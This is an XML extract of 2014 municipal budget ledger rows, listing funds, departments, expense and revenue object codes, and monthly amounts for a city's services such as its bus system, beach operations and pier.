<row _id="8246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>61374.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61374.0</total></row>
<row _id="8247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="8248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400160.0</object><object_description>SALES / USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-26432071.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26432071.0</total></row>
<row _id="8249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405100.0</object><object_description>PARKING FACILITY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-10600000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10600000.0</total></row>
<row _id="8250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>405580.0</object><object_description>GILLETTE SETTLEMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>401210.0</object><object_description>DAMAGE TO CITY PROPERTY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>513.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>513.0</total></row>
<row _id="8255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="8256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29779.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29779.0</total></row>
<row _id="8257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115.0</total></row>
<row _id="8258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>450.0</total></row>
<row _id="8259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408590.0</object><object_description>SA COLLECTIVE BU COSTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-312400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-312400.0</total></row>
<row _id="8260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>402920.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-1151756.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1151756.0</total></row>
<row _id="8261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563160.0</object><object_description>WISE FTA GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133810.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133810.0</total></row>
<row _id="8262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
<row _id="8263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404860.0</object><object_description>1630 5TH LOT 29 (5TH &amp; COLORA)</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-45000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-45000.0</total></row>
<row _id="8264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407710.0</object><object_description>MAIN LIBRARY PARKING STRUCTURE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-800000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-800000.0</total></row>
<row _id="8265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578311.0</object><object_description>FIRE REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>186000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>186000.0</total></row>
<row _id="8266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-MEASURE V FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-915434.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-915434.0</total></row>
<row _id="8267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12600.0</total></row>
<row _id="8268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22397.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22397.0</total></row>
<row _id="8269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>677.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>677.0</total></row>
<row _id="8270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57831.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57831.0</total></row>
<row _id="8271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250608.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250608.0</total></row>
<row _id="8272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555018.0</object><object_description>OUTSIDE REPAIRS/SERV-BUS STOP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308.0</total></row>
<row _id="8273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5535.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5535.0</total></row>
<row _id="8274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562702.0</object><object_description>ONE-TIME GRANT SET-ASIDE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41870.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41870.0</total></row>
<row _id="8275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408450.0</object><object_description>TMD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-18191.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18191.0</total></row>
<row _id="8276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-208040.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-208040.0</total></row>
<row _id="8277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="8278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>121189.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>121189.0</total></row>
<row _id="8279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>119166.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>119166.0</total></row>
<row _id="8280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7354.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7354.0</total></row>
<row _id="8281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6100.0</total></row>
<row _id="8282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23000.0</total></row>
<row _id="8283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="8284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="8285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>685.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>685.0</total></row>
<row _id="8286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="8287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>401830.0</object><object_description>VENDOR RENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-238606.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-238606.0</total></row>
<row _id="8288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3687.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3687.0</total></row>
<row _id="8289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2590.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2590.0</total></row>
<row _id="8290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12300.0</total></row>
<row _id="8291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17550.0</total></row>
<row _id="8292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4377.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4377.0</total></row>
